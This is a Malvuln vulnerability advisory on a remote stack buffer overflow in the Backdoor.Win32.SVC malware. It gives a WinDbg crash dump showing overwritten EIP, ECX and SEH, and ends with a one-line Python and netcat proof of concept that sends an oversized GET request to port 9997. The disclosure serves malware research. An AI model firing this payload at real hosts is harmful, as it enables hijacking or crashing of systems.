Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/011961a42700e7385a106d362eb661c7.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.SVC Vulnerability: Remote Stack Buffer Overflow Description: The malware listens on TCP port 9997. Third-party attackers who can reach an infected system can make an specially crafted HTTP GET request to trigger a classic stack buffer overflow overwriting ECX, EIP registers and structured exception handler (SEH). Type: PE32 MD5: 011961a42700e7385a106d362eb661c7 Vuln ID: MVID-2022-0446 ASLR: False DEP: False Safe SEH: False Disclosure: 01/05/2022 Memory Dump: (31c.1e64): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000 eip=41414141 esp=000a1580 ebp=000a15a0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:000> .ecxr eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000 eip=41414141 esp=000a1580 ebp=000a15a0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.SVC.011961a42700e7385a106d362eb661c7.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.SVC.011961a42700e7385a106d362eb661c7.exe FAULTING_IP: Backdoor_Win32_SVC_011961a42700e7385a106d362eb661c7+141e 0040141e f3a5 rep movs dword ptr es:[edi],dword ptr [esi] EXCEPTION_RECORD: 0019f360 -- (.exr 0x19f360) ExceptionAddress: 0040141e (Backdoor_Win32_SVC_011961a42700e7385a106d362eb661c7+0x0000141e) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 001a0000 Attempt to write to address 001a0000 PROCESS_NAME: Backdoor.Win32.SVC.011961a42700e7385a106d362eb661c7.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: mswsock!WSPAccept+0 71c8c1b0 68ec010000 push 1ECh FAILED_INSTRUCTION_ADDRESS: +0 41414141 ?? ??? MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at \bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0019f3b0 -- (.cxr 0x19f3b0) eax=000007fc ebx=00000000 ecx=00000089 edx=0019fa28 esi=004050ac edi=001a0000 eip=0040141e esp=0019f810 ebp=007c06fe iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 Backdoor_Win32_SVC_011961a42700e7385a106d362eb661c7+0x141e: 0040141e f3a5 rep movs dword ptr es:[edi],dword ptr [esi] Resetting default scope ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 773a13ee to 0040141e FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 STACK_TEXT: 0019f810 0040141e backdoor_win32_svc+0x141e 0019f850 773a13ee ntdll!RtlAllocateHeap+0x3e 0019f89c 71c8cf6d mswsock!WSPAccept+0xdbd 0019fabc 41414141 unknown!printable+0x0 0019ff8c 41414141 unknown!printable+0x0 0019ff90 41414141 unknown!p SYMBOL_NAME: mswsock!WSPAccept+0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: mswsock IMAGE_NAME: mswsock.dll DEBUG_FLR_IMAGE_TIMESTAMP: 0 STACK_COMMAND: .cxr 000000000019F3B0 ; kb ; dds 19f810 ; kb FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_mswsock.dll!WSPAccept BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_mswsock!WSPAccept+0 Followup: MachineOwner --------- 0:000> !exchain 000a1594: ntdll!ExecuteHandler2+44 (773e9d70) 000a1b44: ntdll!ExecuteHandler2+44 (773e9d70) ... 0019fc74: 41414141 Invalid exception stack at 41414141 Exploit/PoC: python -c "print('GET /'+'A'*5173+' HTTP/1.1\r\n\r\n')" | nc64.exe x.x.x.x 9997 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).